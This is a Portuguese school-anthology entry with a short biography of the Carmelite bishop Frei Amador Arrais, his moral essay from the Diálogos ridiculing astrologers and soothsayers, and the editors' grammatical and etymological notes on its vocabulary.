DOM FREI AMADOR ARRAIS

DOM FREI AMADOR ARRAIS, nasceu em Beja, e, em 1545, tomou em Lisboa o hábito carmelitano. Foi na sua Ordem reitor do Colégio de Coimbra; pregador da Real Capela, nomeado por D. Sebastião; e co-ad-jutor do Cardeal-Infante D. Henrique no arcebispado de Évora. Reinando D. Filipe II, elevaram-no a bispo de Portalegre, donde se retirou magoado pelo cabido, indo falecer em Coimbra, no ano de 1600.

Com grande lhaneza este venerável autor, no prólogo da sua l.a edição (1589), repetido na 2.a, de 1604, por êle revista, mas estampada posteriormente à sua morte, declarou não ter sido quem a esta obra dera princípio, e sim, seu irmão, o Dr. Jerônimo Arrais, cujo trabalho êle somente limara e apurara, "com o estudo que a outro fim tinha dirigido". Provavelmente são os Diálogos tanto de Jerônimo, e não de Amador Arrais, quanto de Cácegas, e não de Frei Luís de Sousa, é a famosa Vida do Arcebispo.

Pela segurança da lição moral, assim como pela sadia vernaculidade, não devem tais páginas cair no menosprezo dos estudiosos.

Adivinhos

Maravilhosos homens são os astrólogos e adivinhos, (362) que somente sabem o que está por vir, e do passado e do presente não sabem nada; e assim contam as coisas que no céu se fazem, (363) como se ao conselho dos seus moradores houvessem estado presentes, e agora novamente de lá abaixassem. Mas a verdade é que os tais não sabem o que se faz no mundo, nem no céu, nem na terra, nem ainda na sua câmara. Não vêem (364) o que trazem ante os pés e querem saber o que passa sobre as estrelas.

Muitas vezes me espanto na novidade desacostumada que neste linage (365) de homens se acha; e é que em todos os outros uma, sinalada mentira escurece mil verdades que em sua vida têm dito, e faz daí em diante suspeita qualquer outra que falem; e nestes uma verdade dita acaso, ou por o não entenderem, encobre mil grandes mentiras, e faz que ao público mentiroso se dê fé; e, se disser que hoje hão de cair as estrelas do céu, seja crido, e sem suspeita de mentira possa sempre mentir o que uma só vez pôde acertar com verdade.

Os professores da verdade per uma boca (366) condenam e reprovam esta pestífera presunção; Cícero, entre outros filósofos, zomba dela; e não só a religião católica, mas a verdadeira filosofia, e sua sequaz (367) a poesia, e os varões santos e todos os que algo sabem, desprezam esta diabólica invenção, excetos aqueles (368) que ou vivem dela ou caíram nas suas redes, e de errores fabricam seus ganhos; cujo ardil é encobrir o.engano com obscuridade de palavras, dando sempre respostas duvidosas, e de dois entendimentos, para que, de qualquer modo que venha o contingente, possam dizer que já dantes o haviam prognosticado.

E nisto conspiraram de comum consentimento todos os que seguem esta arte de adivinhar; da qual não há que maravilhar, pois é engano; nem do engano de seus sequazes, que sem letras e experiência é vão; mas de sua astúcia, ousadia e pouca vergonha. Donde veio o que por graça disse aquele áspero e grave Catão, que se espantava como se não ria um adivinhador vendo outro como êle.

A Pompeio, a Crasso e a César, segundo testifica Marco Túlio, prometeram todos os adivinhos e matemáticos que com mui claro e alegre fim acabariam em sua terra sua bem-aventurada velhice; os quais morreram a ferro, e dois deles miseravelmente, muito longe de Roma e de toda Itália, com as cabeças cortadas, que tanto tempo foram honradas e temidas de todo mundo, e com menosprezo mui feio escondidas, ficando seus corpos despedaçados sem sepultura, às feras, aos peixes e às aves, para exemplo miserabilíssimo da fortuna. E há quem creia aos adivinhos, que tão verdadeiras coisas prognosticam?

Espere o cristão, com igual e sossegado ânimo, não o que as estrelas lhe prometem, mas aquilo que o Criador e Governador delas tem dele determinado, fazendo de dia em dia alguma obra tão boa que do seu amor o faça digno; e não entre em seu coração solicitar a estes tais por as coisas que estão por vir, cuja verdade lhe é mais escondida que a qualquer outro bom varão; e tenha isto por conclusão, que é mui difícil ao homem saber as coisas vindouras e contingentes futuros, e que lhe não convém, inda que seja proveitoso; nem é proveitoso, inda que lhe convenha. A prenunciação do futuro é obra própria de Deus, que os demônios nunca poderão imitar, e, tratando disso, enganaram com suas conjeturas a Pirro e Crasso.

(Diálogos, Diálogo I, cap. V, pp. 12-13, da ed. Rolandiana, Lisboa, 1846).

Comentários Didáticos ao vocabulário

(362) adivinho — subst. posverbal do v. adivinhar, decorrente do lat. divinare, predizer, desvendar por meios sobrenaturais; da raiz de divum, variante de âeum. Os indoutos dizem advinhar, sem o — i —, supondo pertencer o — d — ao prefixo, à semelhança de advertir, advérbio, adventício etc.
(363)
se fazem —: se, apassivador.
(364)
vêem — como lêem, crêem, dêem — com duas sílabas: a primeira com o circunflexo da 3.a pessoa do sing. e a * segunda representada pela flexão do plural. Diversos de vêm, do v. vir, e têm, monossilábicos, e ambos com o circunflexo, que os distingue da forma do singular.
(365)
neste linage — nesta linhagem, nesta espécie de homens. Linhagem, que era masculino outrora, como linguagem, catástrofe, árvore, hipérbole, tribo, ênfase, apóstrofe, mudou de género; o que se deu igualmente com marfim, planeta, apostema, aneurisma, que eram femininos.
(366)
per uma boca — unanimemente, a uma voz, unissonamente.
(367)
sequaz — o que acompanha; da raiz do v. lat. sequi, seguir, acompanhar; adjet. lat. sequace-; subst. séquito, alt. do lat. seciitu ou sequutu.
(368) excetos aqueles = excetuados; adjet., oriundo do p. pass. exceptus, de excipere \ex + capere) e que produziu o freqüentativo exceptare, correspondente ao nosso excetuar. Exceto e excetado, variáveis, usaram-se na língua antiga: excetas as cartas; pessoas excetadas. Imobilizou-se no singular como preposição: …"conquanto o Sr. Júlio Ribeiro… houvesse chamado predicativos a todos os verbos, exceto àqueles que tinham direito à denominação". (Maximino Maciel, Gramática Descritiva, s. v. Verbo, p. 129, nota).

 


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

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